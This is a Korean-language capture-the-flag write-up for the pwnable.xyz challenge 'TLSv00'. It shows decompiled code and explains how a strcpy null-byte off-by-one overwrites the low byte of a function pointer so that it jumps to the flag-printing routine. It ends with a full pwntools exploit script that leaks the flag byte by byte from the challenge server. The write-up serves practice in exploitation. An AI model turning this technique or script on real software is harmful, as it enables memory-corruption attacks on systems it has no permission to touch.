[pwnable.xyz]TLSv00

64비트 바이너리고 보호기법 다 걸려있다.

[*] '/vagrant/ctfs/challenge'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

1번 메뉴다. /dev/urandom 값을 가지고 키를 생성해주는데 처음에는 기본으로 63으로 인자를 넣어서 생성해준다. 이후에 원하는 사이즈만큼 할당 받을 수 있다.

unsigned __int64 __fastcall generate_key(signed int a1)
{
  signed int i; // [rsp+18h] [rbp-58h]
  int fd; // [rsp+1Ch] [rbp-54h]
  char s[72]; // [rsp+20h] [rbp-50h]
  unsigned __int64 v5; // [rsp+68h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  if ( a1 > 0 && (unsigned int)a1 <= 0x40 )
  {
    memset(s, 0, 72uLL);
    fd = open("/dev/urandom", 0);
    if ( fd == -1 )
    {
      puts("Can't open /dev/urandom");
      exit(1);
    }
    read(fd, s, a1);
    for ( i = 0; i < a1; ++i )
    {
      while ( !s[i] )
        read(fd, &s[i], 1uLL);
    }
    strcpy(key, s);
    close(fd);
  }
  else
  {
    puts("Invalid key size");
  }
  return __readfsqword(0x28u) ^ v5;
}

2번 메뉴다. flag파일을 읽어와서 generate_key 에서 생성한 키와 xor연산해준다.

int load_flag()
{
  unsigned int i; // [rsp+8h] [rbp-8h]
  int fd; // [rsp+Ch] [rbp-4h]

  fd = open("/flag", 0);
  if ( fd == -1 )
  {
    puts("Can't open flag");
    exit(1);
  }
  read(fd, flag, 64uLL);
  for ( i = 0; i <= 63; ++i )
    flag[i] ^= key[i];
  return close(fd);
}

y를 입력하면 함수 포인터를 실행해준다. 근데 do_comment 를 전에 값을 넣어줬다면 그거 return해준다.

__int64 print_flag()
{
  __int64 result; // rax

  puts("WARNING: NOT IMPLEMENTED.");
  result = (unsigned __int8)do_comment;
  if ( !(_BYTE)do_comment )
  {
    printf("Wanna take a survey instead? ");
    if ( getchar() == 'y' )
      do_comment = (__int64 (*)(void))f_do_comment;
    result = do_comment();
  }
  return result;
}

off-by-one 취약점이 터진다.

.bss:0000000000202040 ; char key[64]
.bss:0000000000202040 key             db 40h dup(?)           ; DATA XREF: generate_key+E4↑o
.bss:0000000000202040                                         ; load_flag+73↑o
.bss:0000000000202080                 public do_comment
.bss:0000000000202080 ; __int64 (*do_comment)(void)
.bss:0000000000202080 do_comment      dq ?                    ; DATA XREF: print_flag+10↑o
.bss:0000000000202080                                         ; print_flag+40↑w ...
.bss:0000000000202088                 align 20h
.bss:00000000002020A0                 public flag
.bss:00000000002020A0 ; _BYTE flag[64]
.bss:00000000002020A0 flag            db 40h dup(?)           ; DATA XREF: real_print_flag+4↑o
.bss:00000000002020A0                                         ; load_flag+45↑o ...
.bss:00000000002020A0 _bss            ends

자세히 보면 key의 크기를 원하는 만큼 지정해서 입력할 수 있다. 근데 여기서 key를 strcpy로 복사하다보니 마지막에 널바이트가 붙어서 1 byte overflow가 난다. 그래서 64만큼 사이즈를 지정하면 do_comment 1바이트를 덮을 수 있다. 그러면 함수 포인터니까 하위 바이트가 널바이트가 된다.

0xB1F 주소를 갖는 f_do_comment 함수 포인터가 하위 바이트가 널바이트가 추가되면 0xB00주소를 갖게 된다. 그러면 0xB00주소를 실행한다. 이 주소에는 real_print_flag 함수가 있다. 이를 실행시켜서 값을 뽑아낼 수 있다. 그리고 0과 xor하면 그대로 그 수가 나오는걸 이용해서 풀면 된다.

exploit.py

from pwn import *

#context.log_level = 'debug'
e = ELF('./challenge')
#p = process('./challenge')
#p = remote('svc.pwnable.xyz',30006)
sa = lambda x,y : p.sendafter(x,y)
sla = lambda x,y : p.sendlineafter(x,y)

def generate(size):
	sla('>','1')
	sla(':',str(size))

def loadflag():
	sla('>','2')

def printflag(chk): # if 'y' -> f_do_comment(); function pointer
	sla('>','3')
	sla('?',chk);
	#,comment
	#if chk == 'y':
	#	sa(':',comment)
	#else:
	#	return

flag = 'F'
for i in range(1,0x31):
	p = remote('svc.pwnable.xyz',30006)
	printflag('y') # setting function pointer
	generate(i) # strcpy(key, s); -> \x00
	loadflag()
	generate(64) # off-by-one -> null byte overflow = 0xB1F -> 0xB00
	printflag('n') # return do_comment() -> real_print_flag()
	p.recv()
	flag += p.recv(0x31)[i]
	#flag+=p.recvline()[i+1]
	log.info(str(i)+' : '+flag)
	p.close()

# real_print_flag -> 0xB00
# f_do_comment -> 0xB1F
# key ~ do_commnet -> 64

p.interactive()